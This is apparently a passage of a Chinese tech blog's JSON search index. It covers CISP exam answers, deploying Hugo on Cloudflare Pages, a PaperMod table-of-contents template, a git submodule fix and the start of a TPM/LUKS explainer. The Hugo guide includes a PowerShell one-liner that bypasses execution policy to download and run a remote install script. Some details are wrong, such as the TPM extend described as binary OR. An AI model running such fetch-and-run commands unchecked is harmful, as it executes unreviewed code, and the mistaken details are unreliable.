1\u003c/h2\u003e\n\u003cp\u003e与 PDR 模型相比，P2DR 模型多了哪一个环节?\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eA. 防护\u003c/li\u003e\n\u003cli\u003eB. 检测\u003c/li\u003e\n\u003cli\u003eC. 反应\u003c/li\u003e\n\u003cli\u003eD. 策略\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdetails\u003e\n\u003csummary\u003e展开答案\u003c/summary\u003e\n答案：D\n\u003cp\u003e解释：教材 P26\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e环节\u003c/th\u003e\n          \u003cth\u003ePDR\u003c/th\u003e\n          \u003cth\u003ePPDR（P2DR）\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e保护（Protection）\u003c/td\u003e\n          \u003ctd\u003eP\u003c/td\u003e\n          \u003ctd\u003eP\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e策略（Policy）\u003c/td\u003e\n          \u003ctd\u003e/\u003c/td\u003e\n          \u003ctd\u003eP\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e检测（Detection）\u003c/td\u003e\n          \u003ctd\u003eD\u003c/td\u003e\n          \u003ctd\u003eD\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e反应（Response）\u003c/td\u003e\n          \u003ctd\u003eR\u003c/td\u003e\n          \u003ctd\u003eR\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003c/details\u003e\n\u003chr\u003e\n\u003ch2 id=\"问题-2\"\u003e问题 2\u003c/h2\u003e\n\u003cp\u003eAlice 用 Bob 的 密钥 加密明文，将密文发送给 Bob。Bob 再用自己的 私钥 解密，恢复出明文。以下说法正确的是： A．此密码体制为对称密码体制 B．此密码体制为私钥密码体制 C．此密码体制为单钥密码体制 D．此密码体制为公钥密码体制\u003c/p\u003e","title":"CISP/NISP2 易错题"},{"content":"该方案优点 GitHub仓库无需设置为公开，Hugo站点通过CF部署而不是GitHub Pages。 Cloudflare Pages (CF Pages) 是 Cloudflare 提供的 Jamstack 静态网站托管平台，同时免费提供如下功能：全球 CDN 加速、简便的 CI/CD 集成、无限的请求数和每月 500 次构建、内置 SSL 证书、Jamstack 友好、无服务器函数支持（Cloudflare Workers 集成）、便于关联自己的域名、安全、高扩展性。 安装Hugo 安装go：\nAll releases - The Go Programming Language\n安装git：\nwinget install \u0026ndash;id Git.Git -e \u0026ndash;source winget\n安装chocolatey：\nInstalling Chocolatey\n以管理员模式cmd运行以下代码执行：\n@\u0026quot;%SystemRoot%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\u0026quot; -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command \u0026ldquo;iex ((New-Object System.Net.WebClient).DownloadString(\u0026rsquo;https://community.chocolatey.org/install.ps1\u0026rsquo;))\u0026rdquo; \u0026amp;\u0026amp; SET \u0026ldquo;PATH=%PATH%;%ALLUSERSPROFILE%\\chocolatey\\bin\u0026rdquo;\n安装hugo：\nwinget install Hugo.Hugo.Extended\nchoco install hugo-extended\n安装完成，快速开始 Quick start\n检查Hugo版本：hugo version\n在本地创建一个 Hugo 静态网站，初始化 Git 仓库，并配置和启动 Hugo 服务器的示例。以下是命令及详细解释：\nhugo new site quickstart：\n这个命令会创建一个新的 Hugo 站点，名为 quickstart。它生成基本的站点文件夹结构，包括 config.toml 文件和内容目录。quickstart可更改为你希望的任何名字。 cd quickstart：\n进入刚刚创建的 quickstart 站点目录。 git init：\n初始化一个新的 Git 仓库，用于版本控制。这样你可以通过 Git 来跟踪 Hugo 站点的文件更改。 git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke.git themes/ananke：\n添加 Ananke 主题作为 Git 子模块。Ananke 是一个 Hugo 官方推荐的主题。 这条命令会把主题存放在 themes/ananke 文件夹中，以便可以用来渲染站点。 echo \u0026quot;theme = 'ananke'\u0026quot; \u0026gt;\u0026gt; hugo.toml：\n将主题配置添加到 hugo.toml 文件中，告诉 Hugo 使用 ananke 主题来渲染网站。 hugo server：\n启动 Hugo 开发服务器，Hugo 将编译站点并在本地启动一个服务器，默认运行在 http://localhost:1313。 你可以在浏览器中打开该地址预览站点的实时变化。 hugo new content posts/my-first-post.md：这条命令用于在 Hugo 网站中创建一个新的内容文件（博客文章）。\nhugo new：用于在 Hugo 中创建新的内容（如文章、页面、项目等）。根据你的站点配置，Hugo 会自动生成一个带有基本前置元数据的 Markdown 文件。 content：这是 Hugo 默认的内容目录，存放你所有的文章和页面。Hugo 会根据此目录中的内容生成静态网页。 posts/my-first-post.md：posts 是内容类型或分类，表示这是一个博客帖子，可以根据需要修改为其他分类。 my-first-post.md 是生成的 Markdown 文件的名称，代表文章的文件名。 在运行这条命令后，Hugo 会生成一个 content/posts/my-first-post.md 文件，并自动填充基本的元数据（front matter），例如文章的标题、日期和草稿状态。你可以打开该文件进行编辑，添加文章的内容。 发布到远程仓库（GitHub） 在public文件夹执行git push -u origin master 如果你还没有远程仓库，请参考下列方法创建： 1. 在 GitHub 上创建一个新的仓库 登录到 GitHub。 点击右上角的加号（+）并选择 Nw repository。 填写仓库名称，设置为公开或私有，然后点击 Create repository 按钮。 2. 在本地仓库中设置远程仓库 打开终端（或命令行工具），然后进入您的本地 Git 仓库目录。运行以下命令，将本地仓库与 GitHub 上的远程仓库连接起来：\n1 git remote add origin https://github.com/USERNAME/REPOSITORY_NAME.git 将 USERNAME 替换为您的 GitHub 用户名，REPOSITORY_NAME 替换为您在 GitHub 上创建的仓库名称。\n3. 推送本地仓库到 GitHub 如果您已经有文件并进行了提交，可以将这些提交推送到 GitHub：\n1 git push -u origin mai 如果您的分支不是 main（例如，master），请将 main 替换为您的当前分支名称。\n如果仓库是空的，您可以先初始化、添加文件并提交：\n1 2 3 4 5 git init git add . git commit -m \u0026#34;Initial commit\u0026#34; git branch -M main # 将分支名称设置为 main（可选） git push -u origin main 4. 验证远程连接 您可以通过以下命令查看已连接的远程仓库：\n1 git remote -v 如果看到类似于 origin https://github.com/USERNAME/REPOSITORY_NAME.git (fetch) 和 origin https://github.com/USERNAME/REPOSITORY_NAME.git (push) 的输出，说明您的本地仓库已成功连接到 GitHub。至此，您的本地仓库已经成功连接到 GitHub，您可以随时推送更改到远程仓库。\nPS：你可以下载GitHub Windows客户端来可视化完成上述操作\n快速开始步骤四主题安装的补充说明 去哪里获取主题：https://themes.gohugo.io/ 引入子模块（用于安装主题到themes文件夹）： 要将子模块引入到指定路径，你可以在 git submodule add 命令后面指定路径。以下是具体步骤：\n在主仓库的根目录下打开终端或命令行界面。\n运行 git submodule add \u0026lt;子模块的仓库URL\u0026gt; \u0026lt;指定路径\u0026gt; 命令，将子模块添加到指定路径中。例如：这将在主仓库的 /themes 目录中创建一个名为子模块的目录，并将子模块的代码克隆到该目录中。\n1 git submodule add https://github.com/example/themes.git /themes 提交主仓库的更改，包括新添加的子模块。\n在这种情况下，指定的路径就是你希望子模块在主仓库中的相对路径。\n主题部署到cf pages出现错误？ 引入主题子仓库时需要在网站根目录下的.gitmodules文件添加子仓库链接，缩进需要严格控制，否则会提示如下错误：\tfatal: No url found for submodule path \u0026rsquo;themes/hugo-PaperMod\u0026rsquo; in .gitmodules\n尝试解决问题：\n初始化子模块：如果您刚克隆了仓库或子模块未被初始化，您需要初始化子模块。运行以下命令：git submodule update --init 手动更新子模块 URL：如果子模块的 URL 已更改，您可能需要手动更新 .gitmodules 文件中的 URL。以下是具体内容示例： 1 2 3 [submodule \u0026#34;themes/terminal\u0026#34;] path = themes/terminal url = [https://github.com/panr/hugo-theme-terminal.git](https://github.com/panr/hugo-theme-terminal.git) 更新子模块：如果仓库中的子模块引用发生了变化，或者子模块的仓库已经更新，您需要更新子模块。运行以下命令：git submodule update --recursive --remote 至此，你本地和远程仓库均已经有了一个Hugo站点，是时候让网友也能够访问了\n部署Cloudflare Pages 参阅官方文档：部署 Hugo 站点 ·Cloudflare Pages 文档，当然如果你需要中文版本： 要将您的站点部署到 Pages：\n登录到 Cloudflare 仪表盘 并选择您的账户。 在账户主页中，选择 Workers \u0026amp; Pages \u0026gt; 创建应用 \u0026gt; Pages \u0026gt; 连接到 Git。 选择您新创建的 GitHub 仓库，并在“设置构建和部署”部分提供以下信息： 配置选项 值 生产分支 main 构建命令 hugo 构建目录 public 基础 URL 配置 Hugo 允许您配置应用程序的基本 URL。这使您能够利用助手函数来构建完整的规范 URL。要在 Pages 中做到这一点，您必须在构建命令中通过环境变量提供 baseURL 或 -b 标志。\n最终的构建命令可能如下所示：\n1 hugo -b $CF_PAGES_URL 完成部署配置后，选择 保存并部署。接下来您会看到 Cloudflare Pages 安装您的项目依赖项并构建站点，然后将其部署。\n注意 部署您的站点后，您将获得项目的唯一子域（如 *.pages.dev）。每当您向 Hugo 站点提交新代码时，Cloudflare Pages 会自动重新构建项目并进行部署。您还可以在新拉取请求上预览部署的更改，从而在将更改部署到生产环境之前预览它们的效果。\n使用特定或更新版本的 Hugo 要使用特定或更新版本的 Hugo，您可以在 Pages 项目的 设置 \u0026gt; 环境变量 中创建环境变量 HUGO_VERSION。将值设置为您想指定的 Hugo 版本（推荐使用 v0.112.0 或更高版本）。\n例如：HUGO_VERSION = 0.115.4\n注意 如果您计划使用预览部署，请确保也在预览环境中添加相应的环境变量。\n关于BaseURL URL管理 | Hugo官方文档 (opendocs.io)\n不使用 BaseURL 的已知问题:\n在进行社交分享时无法预览图片 搜索引擎无法索引网站地图,如果没有BaseURL，网站地图的 URL 都是相对的，这将导致搜索引擎无法索引您的网页。 ","permalink":"https://www.clearsec.org/posts/tech/%E5%9C%A8cf%E4%B8%8A%E9%83%A8%E7%BD%B2%E4%BA%86hugo/","summary":"\u003ch2 id=\"该方案优点\"\u003e该方案优点\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eGitHub仓库无需设置为公开，Hugo站点通过CF部署而不是GitHub Pages。\u003c/li\u003e\n\u003cli\u003eCloudflare Pages (CF Pages) 是 Cloudflare 提供的 Jamstack 静态网站托管平台，同时免费提供如下功能：全球 CDN 加速、简便的 CI/CD 集成、无限的请求数和每月 500 次构建、内置 SSL 证书、Jamstack 友好、无服务器函数支持（Cloudflare Workers 集成）、便于关联自己的域名、安全、高扩展性。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"安装hugo\"\u003e安装Hugo\u003c/h2\u003e\n\u003cp\u003e安装go：\u003c/p\u003e","title":"在CF上部署Hugo随记"},{"content":"","permalink":"https://www.clearsec.org/posts/life/life/","summary":"","title":"Life"},{"content":"","permalink":"https://www.clearsec.org/posts/read/read/","summary":"","title":"Read"},{"content":"注意：如果你想修改Hugo主题，通过引入子模块方式添加的主题需要先fork原作者主题，然后修改，最后提交PR到自己的仓库，否则修改会失败。 当然更推荐的是在hugo站点根目录创建同名文件覆盖主题配置，这样可以收到主题作者的更新，而不是自己造轮子。\n如果你想修改的样式与主题并无什么关联，建议直接修改根目录下的文件。\nasset：自定义的 CSS 和 JavaScript content：用于放博客内容 data：不用管 layouts：自定义的 HTML public：项目导出文件 - 用于静态网页部署 static：存放图片和其他静态文件 themes：主题 - 例如PaperMod的仓库 themes/PaperMod 则是 PaperMod 的相关代码，比较主要的目录有：\nassets：PaperMod 的 CSS 和 JavaScript 代码 layouts：PaperMod 的 HTML 修改目录栏（TOC，即 Table of Contents）从顶部移动到侧边，需要修改布局文件和样式文件。以下是将目录栏移到侧边的详细步骤：\n修改布局文件 覆盖这个文件\u0026rsquo;.\\themes\\hugo-PaperMod\\layouts\\partials\\toc.html\u0026rsquo;为下列内容： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 {{- $headers := findRE \u0026#34;\u0026lt;h[1-6].*?\u0026gt;(.|\\n])+?\u0026lt;/h[1-6]\u0026gt;\u0026#34; .Content -}} {{- $has_headers := ge (len $headers) 1 -}} {{- if $has_headers -}} \u0026lt;aside id=\u0026#34;toc-container\u0026#34; class=\u0026#34;toc-container wide\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;toc\u0026#34;\u0026gt; \u0026lt;details {{if (.Param \u0026#34;TocOpen\u0026#34;) }} open{{ end }}\u0026gt; \u0026lt;summary accesskey=\u0026#34;c\u0026#34; title=\u0026#34;(Alt + C)\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;details\u0026#34;\u0026gt;{{- i18n \u0026#34;toc\u0026#34; | default \u0026#34;Table of Contents\u0026#34; }}\u0026lt;/span\u0026gt; \u0026lt;/summary\u0026gt; \u0026lt;div class=\u0026#34;inner\u0026#34;\u0026gt; {{- $largest := 6 -}} {{- range $headers -}} {{- $headerLevel := index (findRE \u0026#34;[1-6]\u0026#34; . 1) 0 -}} {{- $headerLevel := len (seq $headerLevel) -}} {{- if lt $headerLevel $largest -}} {{- $largest = $headerLevel -}} {{- end -}} {{- end -}} {{- $firstHeaderLevel := len (seq (index (findRE \u0026#34;[1-6]\u0026#34; (index $headers 0) 1) 0)) -}} {{- $.Scratch.Set \u0026#34;bareul\u0026#34; slice -}} \u0026lt;ul\u0026gt; {{- range seq (sub $firstHeaderLevel $largest) -}} \u0026lt;ul\u0026gt; {{- $.Scratch.Add \u0026#34;bareul\u0026#34; (sub (add $largest .) 1) -}} {{- end -}} {{- range $i, $header := $headers -}} {{- $headerLevel := index (findRE \u0026#34;[1-6]\u0026#34; . 1) 0 -}} {{- $headerLevel := len (seq $headerLevel) -}} {{/* get id=\u0026#34;xyz\u0026#34; */}} {{- $id := index (findRE \u0026#34;(id=\\\u0026#34;(.*?)\\\u0026#34;)\u0026#34; $header 9) 0 }} {{- /* strip id=\u0026#34;\u0026#34; to leave xyz, no way to get regex capturing groups in hugo */ -}} {{- $cleanedID := replace (replace $id \u0026#34;id=\\\u0026#34;\u0026#34; \u0026#34;\u0026#34;) \u0026#34;\\\u0026#34;\u0026#34; \u0026#34;\u0026#34; }} {{- $header := replaceRE \u0026#34;\u0026lt;h[1-6].*?\u0026gt;((.|\\n])+?)\u0026lt;/h[1-6]\u0026gt;\u0026#34; \u0026#34;$1\u0026#34; $header -}} {{- if ne $i 0 -}} {{- $prevHeaderLevel := index (findRE \u0026#34;[1-6]\u0026#34; (index $headers (sub $i 1)) 1) 0 -}} {{- $prevHeaderLevel := len (seq $prevHeaderLevel) -}} {{- if gt $headerLevel $prevHeaderLevel -}} {{- range seq $prevHeaderLevel (sub $headerLevel 1) -}} \u0026lt;ul\u0026gt; {{/* the first should not be recorded */}} {{- if ne $prevHeaderLevel . -}} {{- $.Scratch.Add \u0026#34;bareul\u0026#34; . -}} {{- end -}} {{- end -}} {{- else -}} \u0026lt;/li\u0026gt; {{- if lt $headerLevel $prevHeaderLevel -}} {{- range seq (sub $prevHeaderLevel 1) -1 $headerLevel -}} {{- if in ($.Scratch.Get \u0026#34;bareul\u0026#34;) . -}} \u0026lt;/ul\u0026gt; {{/* manually do pop item */}} {{- $tmp := $.Scratch.Get \u0026#34;bareul\u0026#34; -}} {{- $.Scratch.Delete \u0026#34;bareul\u0026#34; -}} {{- $.Scratch.Set \u0026#34;bareul\u0026#34; slice}} {{- range seq (sub (len $tmp) 1) -}} {{- $.Scratch.Add \u0026#34;bareul\u0026#34; (index $tmp (sub . 1)) -}} {{- end -}} {{- else -}} \u0026lt;/ul\u0026gt; \u0026lt;/li\u0026gt; {{- end -}} {{- end -}} {{- end -}} {{- end }} \u0026lt;li\u0026gt; \u0026lt;a href=\u0026#34;#{{- $cleanedID -}}\u0026#34; aria-label=\u0026#34;{{- $header | plainify -}}\u0026#34;\u0026gt;{{- $header | safeHTML -}}\u0026lt;/a\u0026gt; {{- else }} \u0026lt;li\u0026gt; \u0026lt;a href=\u0026#34;#{{- $cleanedID -}}\u0026#34; aria-label=\u0026#34;{{- $header | plainify -}}\u0026#34;\u0026gt;{{- $header | safeHTML -}}\u0026lt;/a\u0026gt; {{- end -}} {{- end -}} \u0026lt;!-- {{- $firstHeaderLevel := len (seq (index (findRE \u0026#34;[1-6]\u0026#34; (index $headers 0) 1) 0)) -}} --\u0026gt; {{- $firstHeaderLevel := $largest }} {{- $lastHeaderLevel := len (seq (index (findRE \u0026#34;[1-6]\u0026#34; (index $headers (sub (len $headers) 1)) 1) 0)) }} \u0026lt;/li\u0026gt; {{- range seq (sub $lastHeaderLevel $firstHeaderLevel) -}} {{- if in ($.Scratch.Get \u0026#34;bareul\u0026#34;) (add . $firstHeaderLevel) }} \u0026lt;/ul\u0026gt; {{- else }} \u0026lt;/ul\u0026gt; \u0026lt;/li\u0026gt; {{- end -}} {{- end }} \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/details\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/aside\u0026gt; \u0026lt;script\u0026gt; let activeElement; let elements; window.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, function (event) { checkTocPosition(); elements = document.querySelectorAll(\u0026#39;h1[id],h2[id],h3[id],h4[id],h5[id],h6[id]\u0026#39;); // Make the first header active activeElement = elements[0]; const id = encodeURI(activeElement.getAttribute(\u0026#39;id\u0026#39;)).toLowerCase(); document.querySelector(`.inner ul li a[href=\u0026#34;#${id}\u0026#34;]`).classList.add(\u0026#39;active\u0026#39;); }, false); window.addEventListener(\u0026#39;resize\u0026#39;, function(event) { checkTocPosition(); }, false); window.addEventListener(\u0026#39;scroll\u0026#39;, () =\u0026gt; { // Check if there is an object in the top half of the screen or keep the last item active activeElement = Array.from(elements).find((element) =\u0026gt; { if ((getOffsetTop(element) - window.pageYOffset) \u0026gt; 0 \u0026amp;\u0026amp; (getOffsetTop(element) - window.pageYOffset) \u0026lt; window.innerHeight/2) { return element; } }) || activeElement elements.forEach(element =\u0026gt; { const id = encodeURI(element.getAttribute(\u0026#39;id\u0026#39;)).toLowerCase(); if (element === activeElement){ document.querySelector(`.inner ul li a[href=\u0026#34;#${id}\u0026#34;]`).classList.add(\u0026#39;active\u0026#39;); } else { document.querySelector(`.inner ul li a[href=\u0026#34;#${id}\u0026#34;]`).classList.remove(\u0026#39;active\u0026#39;); } }) }, false); const main = parseInt(getComputedStyle(document.body).getPropertyValue(\u0026#39;--article-width\u0026#39;), 10); const toc = parseInt(getComputedStyle(document.body).getPropertyValue(\u0026#39;--toc-width\u0026#39;), 10); const gap = parseInt(getComputedStyle(document.body).getPropertyValue(\u0026#39;--gap\u0026#39;), 10); function checkTocPosition() { const width = document.body.scrollWidth; if (width - main - (toc * 2) - (gap * 4) \u0026gt; 0) { document.getElementById(\u0026#34;toc-container\u0026#34;).classList.add(\u0026#34;wide\u0026#34;); } else { document.getElementById(\u0026#34;toc-container\u0026#34;).classList.remove(\u0026#34;wide\u0026#34;); } } function getOffsetTop(element) { if (!element.getClientRects().length) { return 0; } let rect = element.getBoundingClientRect(); let win = element.ownerDocument.defaultView; return rect.top + win.pageYOffset; } \u0026lt;/script\u0026gt; {{- end }} 修改样式文件 (CSS) 在这个文件内\u0026rsquo;\\themes\\hugo-PaperMod\\assets\\css\\extended\\blank.css\u0026rsquo;添加下列内容： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 :root { --nav-width: 1380px; --article-width: 650px; --toc-width: 300px; } .toc { margin: 0 2px 40px 2px; border: 1px solid var(--border); background: var(--entry); border-radius: var(--radius); padding: 0.4em; } .toc-container.wide { position: absolute; height: 100%; border-right: 1px solid var(--border); left: calc((var(--toc-width) + var(--gap)) * -1); top: calc(var(--gap) * 2); width: var(--toc-width); } .wide .toc { position: sticky; top: var(--gap); border: unset; background: unset; border-radius: unset; width: 100%; margin: 0 2px 40px 2px; } .toc details summary { cursor: zoom-in; margin-inline-start: 20px; padding: 12px 0; } .toc details[open] summary { font-weight: 500; } .toc-container.wide .toc .inner { margin: 0; } .active { font-size: 110%; font-weight: 600; } .toc ul { list-style-type: circle; } .toc .inner { margin: 0 0 0 20px; padding: 0px 15px 15px 20px; font-size: 16px; /*目录显示高度*/ max-height: 83vh; overflow-y: auto; } .toc .inner::-webkit-scrollbar-thumb { /*滚动条*/ background: var(--border); border: 7px solid var(--theme); border-radius: var(--radius); } .toc li ul { margin-inline-start: calc(var(--gap) * 0.5); list-style-type: none; } .toc li { list-style: none; font-size: 0.95rem; padding-bottom: 5px; } .toc li a:hover { color: var(--secondary); } /*长按图片放大功能*/ img:active { transform: scale(1.35,1.35) } ","permalink":"https://www.clearsec.org/posts/tech/%E9%AD%94%E6%94%B9hugo%E4%B8%BB%E9%A2%98%E6%97%B6%E6%B3%A8%E6%84%8F%E8%A6%81%E7%82%B9/","summary":"\u003cp\u003e注意：如果你想修改Hugo主题，通过引入子模块方式添加的主题需要先fork原作者主题，然后修改，最后提交PR到自己的仓库，否则修改会失败。\n当然更推荐的是在hugo站点根目录创建同名文件覆盖主题配置，这样可以收到主题作者的更新，而不是自己造轮子。\u003c/p\u003e","title":"魔改Hugo主题时注意要点"},{"content":"This error typically occurs when a submodule is referenced in your repository\u0026rsquo;s .gitmodules file but hasn\u0026rsquo;t been initialized or updated properly. Here\u0026rsquo;s what you can do to resolve it:\nCheck .gitmodules: Make sure that the submodule themes/hugo-PaperMod is correctly listed in your .gitmodules file. Ensure that the URL field is correctly set.\nInitialize Submodules: If you\u0026rsquo;ve just cloned the repository or the submodule wasn\u0026rsquo;t initialized, you need to initialize submodules. Run:\n1 2 sqlCopy code git submodule update --init This command initializes all submodules listed in your .gitmodules file.\nUpdate Submodules: If the submodule reference in your repository has changed or if the submodule repository has been updated, you\u0026rsquo;ll need to update your submodule. Run:\n1 2 cssCopy code git submodule update --recursive --remote This command updates all submodules to the latest commit of their respective branches.\nManually Update Submodule URL: If the submodule URL has changed, you might need to manually update it in the .gitmodules file and then update the submodule as described in step 3.\nCheck Permissions and Repository Access: Ensure that the submodule repository is accessible from your location and that you have the necessary permissions to clone it.\nAfter performing these steps, try checking out your repository again. If you encounter any issues, feel free to ask for further assistance!\n","permalink":"https://www.clearsec.org/posts/tech/hello-world/","summary":"\u003cp\u003eThis error typically occurs when a submodule is referenced in your repository\u0026rsquo;s \u003cstrong\u003e\u003ccode\u003e.gitmodules\u003c/code\u003e\u003c/strong\u003e file but hasn\u0026rsquo;t been initialized or updated properly. Here\u0026rsquo;s what you can do to resolve it:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eCheck \u003ccode\u003e.gitmodules\u003c/code\u003e\u003c/strong\u003e: Make sure that the submodule \u003cstrong\u003e\u003ccode\u003ethemes/hugo-PaperMod\u003c/code\u003e\u003c/strong\u003e is correctly listed in your \u003cstrong\u003e\u003ccode\u003e.gitmodules\u003c/code\u003e\u003c/strong\u003e file. Ensure that the URL field is correctly set.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eInitialize Submodules\u003c/strong\u003e: If you\u0026rsquo;ve just cloned the repository or the submodule wasn\u0026rsquo;t initialized, you need to initialize submodules. Run:\u003c/p\u003e","title":"Hello World"},{"content":"为了保护用户数据，现代设备与操作系统往往都支持全盘加密的功能，其中最为典型的是 Microsoft Windows 的 BitLocker。它既可以对系统分区进行加密，又可以在确认引导过程可信的情况下，不需要用户交互即可自动解密，这利用到了 TPM 和 Secure Boot。而在 GNU/Linux 系统下，如果用常用的 LUKS 加密方案进行全盘加密，则需要在每次开机时输入密码。\n本篇文章将参考 BitLocker 的做法，利用 Secure Boot 和 TPM 2.0 来实现 LUKS 全盘加密的自动解密。\n前置知识 Secure Boot Secure Boot（安全启动）是 Microsoft 在 UEFI 中引入的一项安全功能，旨在防止恶意代码在进入操作系统之前被加载，破坏操作系统的安全。\nSecure Boot 的原理是信任链，其信任根是 UEFI 中的 CA 证书，这里 CA 证书可以内置在 UEFI 固件中，也可以由机器所有者手动设置。在开启 Secure Boot 时，UEFI 固件在加载 EFI 可执行文件前，会首先检验其签名，如果其签名不是来自于 CA，则会拒绝加载。一般主板的 UEFI 固件均内置 Microsoft 的两个 CA 证书，分别为：\nMicrosoft Windows Production PCA 2011，为 Windows 引导程序签名 Microsoft Corporation UEFI CA 2011，为 Linux 相关的引导程序签名 Microsoft 为多个 Linux 发行版的引导程序提供了签名，如 Ubuntu、Debian 和 Fedora 等。除此之外，Microsoft 也为 PreLoader 和 shim 两个特殊的引导程序提供了签名，他们的作用是在不修改设备 CA 的情况下，让用户通过安装自己的证书来加载由用户自己签名的其他引导程序。这种证书叫做 MOK（Machine Owner Key）证书。有了 PreLoader / shim 与 MOK，用户可以方便地让系统信任用户自己的引导程序。\nSecure Boot 仅提供对第一阶段引导程序的签名检验，而之后的代码检验则交给被加载的引导器，以及被引导器加载的系统内核所完成。在 Secure Boot 开启时，UEFI 会提供一个接口来获得当前设备上的可信证书列表，包含 CA 证书和（由 PreLoader / shim 管理的）MOK 证书，以便后续的检验过程使用。例如，默认情况下，GRUB 在 Secure Boot 开启时，会使用 UEFI 提供的证书列表检验其所加载的内核的代码签名。内核也可以被配置为检验其加载的 .ko 模块文件的签名。\n提示\n除第一步 UEFI 固件对第一阶段引导程序的签名检验强制使用 UEFI 中的 Secure Boot CA 证书外，之后的过程如何校验均不是受 UEFI 所控制的。即使 UEFI 提供了通用的接口来允许引导程序或操作系统获得其信任的证书列表（包括 CA 和 MOK），第一阶段之后的引导程序仍然可以不使用这些证书，或者使用这些证书外加其自身信任的证书来进行代码签名检验。例如，UEFI 本身不信任 MOK，但被 UEFI 信任的 PreLoader / shim 信任 MOK，所以使用 MOK 签名的引导程序可以被 PreLoader / shim 加载。\n另一个典型的例子是，Linux 内核在编译时，可以使用一个自有的证书对随内核编译的模块进行签名，并将该证书内置在编译好的内核中，自动信任这些一同编译的模块，而同时也会信任用户自行编译并使用 UEFI CA / MOK 签名的模块。\nTPM 2.0 TPM（Trusted Platform Module，可信平台模块）是一种安全芯片，提供了硬件级别的一些安全相关的功能。TPM 可以在内部实现不受恶意软件干扰的密码学操作。早年的 TPM 一般作为独立的模块，插入到计算机主板上的专用接口上，而近年的 CPU 往往内置了 TPM 的功能（如 Intel PTT 与 AMD fTPM），不再需要独立硬件。TPM 的规范由 TCG（Trusted Computing Group，可信计算组织）制定，目前最为广泛使用的版本是 2.0。\n本文中，我们主要用到 TPM 2.0 的**完整性测量（Integrity Measurement）**的功能。TPM 中定义了一些 PCR（Platform Configuration Register，平台配置寄存器），用于在系统引导过程中记录相关的配置。在 GRUB + Linux 的环境中，常用的一些 PCR 的所测量的值如下：\nPCR 编号 测量值 备注 0 UEFI BIOS 固件代码 当升级 BIOS 固件时变化 1 UEFI BIOS 固件配置 当修改 BIOS 设置时变化，改回后会恢复 2 Option ROM 固件代码 一些硬件设备（如 PCIe 设备）在启动时执行的代码 3 Option ROM 固件配置 4 UEFI 引导程序代码 即引导过程中加载的 .efi 可执行文件 （由 UEFI 设置，shim 也会设置） 5 GPT 分区表 6 S4/S5 挂起恢复状态 7 Secure Boot 配置 关闭 Secure Boot 或修改 MOK 后会变化 8 GRUB 命令与内核参数 由 GRUB 设置 9 GRUB 读取的所有文件 （包括 vmlinuz 与 initrd） 由 GRUB 设置 由于这些值均是在引导过程中由固件/引导器/操作系统的代码所设置，为了确保这些值不被篡改，TPM 所定义的唯一修改 PCR 的接口是 PCRi​←Extend(PCRi​,data)，其中：\nExtend(x,data)=hash(x∣hash(data))\n其中 ∣ 表示二进制或，哈希函数目前可选 SHA-1 与 SHA-256。这种算法使得 PCR 中的测量值的变化是不可预测且不可逆的，在可信的引导组件将测量值正确地传递给 TPM 后，恶意代码即使已知期望的 PCR 测量值，也无法将其写入 TPM，从而无法欺骗 TPM 的完整性测量。\n在这样的前提下，TPM 提供了安全存储密钥的功能。操作系统可以指定一系列 PCR 寄存器的编号，令 TPM 通过这些 PCR 目前的测量值计算出检验值，并将检验值和密钥持久化存储。在之后的引导中，操作系统可以再次告知 TPM 所检验的 PCR 值列表，当 TPM 验证这些 PCR 的当前测量值的校验和与之前保存的一致时，才会向 CPU 输出密钥，否则不会输出密钥。这样一来，当攻击者植入恶意代码，或者修改固件配置，导致引导阶段的完整性被破坏时，处于安全威胁中的操作系统将无法获得密钥。\nLUKS LUKS（Linux Unified Key Setup，Linux 统一密钥设置）是 Linux 下最常用的磁盘加密方案。LUKS 基于 DM（Device Mapper，设备映射器）的 dm-crypt 功能，将被加密块设备解密后的内容映射为虚拟块设备，对文件系统透明。LUKS 提供了多种加密算法与密钥派生函数，目前的默认值是 AES-XTS-512 和 Argon2i。LUKS 有 8 个密钥槽，即可以分别设置 8 个解密密码。\n密钥派生\nPBKDF（Password-Based Key Derivation 